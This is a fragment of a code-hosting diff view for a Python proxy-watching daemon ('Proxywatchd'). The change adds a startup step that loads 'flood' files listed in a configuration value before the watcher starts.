||||||
|
floodfiles.append(floodfile)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
_run_standalone = True
|
_run_standalone = True
|
||||||
|
|
||||||
config.load()
|
config.load()
|
||||||
|
|
||||||
|
nextrun = time.time()
|
||||||
|
|
||||||
|
if config.flood.file is not None:
|
||||||
|
from os import listdir
|
||||||
|
from os.path import isfile, join
|
||||||
|
loadfloodfile()
|
||||||
|
|
||||||
w = Proxywatchd()
|
w = Proxywatchd()
|
||||||
try:
|
try:
|
||||||
w.start()
|
w.start()
|
||||||
|
|||||||
Reference in New Issue
Block a user